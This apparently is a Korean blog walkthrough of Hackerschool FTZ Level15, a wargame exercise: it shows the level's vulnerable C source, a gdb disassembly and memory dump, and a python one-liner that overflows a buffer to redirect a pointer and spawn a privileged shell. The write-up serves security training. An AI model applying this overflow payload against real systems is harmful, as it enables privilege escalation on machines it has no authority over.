해커스쿨(Hackerschool) FTZ Level15 문제풀이를 시작하겠습니다.
[level15@ftz level15]$ ls
attackme hint public_html tmp
[level15@ftz level15]$ cat hint
#include <stdio.h>
main()
{ int crap;
int *check;
char buf[20];
fgets(buf,45,stdin);
if (*check==0xdeadbeef)
{
setreuid(3096,3096);
system("/bin/sh");
}
}
이번 문제소스는 아까와 같으나 check 가 포인터 변수 입니다.
저는 deadbeef 가 있는 곳의 주소를 덮어주는 방법을 이용했습니다.
(gdb) disas main
Dump of assembler code for function main:
0x08048490 <main+0>: push %ebp
0x08048491 <main+1>: mov %esp,%ebp
0x08048493 <main+3>: sub $0x38,%esp
0x08048496 <main+6>: sub $0x4,%esp
0x08048499 <main+9>: pushl 0x8049664
0x0804849f <main+15>: push $0x2d
0x080484a1 <main+17>: lea 0xffffffc8(%ebp),%eax
0x080484a4 <main+20>: push %eax
0x080484a5 <main+21>: call 0x8048360 <fgets>
0x080484aa <main+26>: add $0x10,%esp
0x080484ad <main+29>: mov 0xfffffff0(%ebp),%eax
0x080484b0 <main+32>: cmpl $0xdeadbeef,(%eax)
0x080484b6 <main+38>: jne 0x80484dd <main+77>
0x080484b8 <main+40>: sub $0x8,%esp
0x080484bb <main+43>: push $0xc18
0x080484c0 <main+48>: push $0xc18
0x080484c5 <main+53>: call 0x8048380 <setreuid>
0x080484ca <main+58>: add $0x10,%esp
0x080484cd <main+61>: sub $0xc,%esp
0x080484d0 <main+64>: push $0x8048548
0x080484d5 <main+69>: call 0x8048340 <system>
0x080484da <main+74>: add $0x10,%esp
0x080484dd <main+77>: leave
0x080484de <main+78>: ret
0x080484df <main+79>: nop
End of assembler dump.
아래와 같은 방법으로 deadbeef 를 가리키고 있는 주소를 찾으면 됩니다.
Level16 Password is " ".
아래와 같은 방법으로 deadbeef 를 가리키고 있는 주소를 찾으면 됩니다.
0x8048490 <main>: 0x83e58955
(gdb)
0x8048494 <main+4>: 0xec8338ec
(gdb)
0x8048498 <main+8>: 0x6435ff04
(gdb)
0x804849c <main+12>: 0x6a080496
(gdb)
0x80484a0 <main+16>: 0xc8458d2d
(gdb)
0x80484a4 <main+20>: 0xfeb6e850
(gdb)
0x80484a8 <main+24>: 0xc483ffff
(gdb)
0x80484ac <main+28>: 0xf0458b10
(gdb)
0x80484b0 <main+32>: 0xbeef3881
(gdb)
0x80484b4 <main+36>: 0x2575dead
(gdb) x/x main+34
0x80484b2 <main+34>: 0xdeadbeef
[level15@ftz level15]$ (python -c 'print "\x90"*40 + "\xb2\x84\x04\x08" + "\x90"*12';cat)|./attackme
my-pass
'hackerschool ftz' 카테고리의 다른 글
해커스쿨 프리해킹존, FTZ 문제풀이 강의 재게 (0) | 2011.07.21 |
---|---|
해커스쿨(Hackerschool) FTZ Level14 문제풀이 (0) | 2011.05.10 |
해커스쿨(Hackerschool) FTZ Level13 문제풀이 (1) | 2011.04.17 |
해커스쿨(Hackerschool) FTZ Level12 문제풀이 (0) | 2011.04.13 |
해커스쿨(HackerSchool) FTZ Level11 문제풀이 (0) | 2011.04.10 |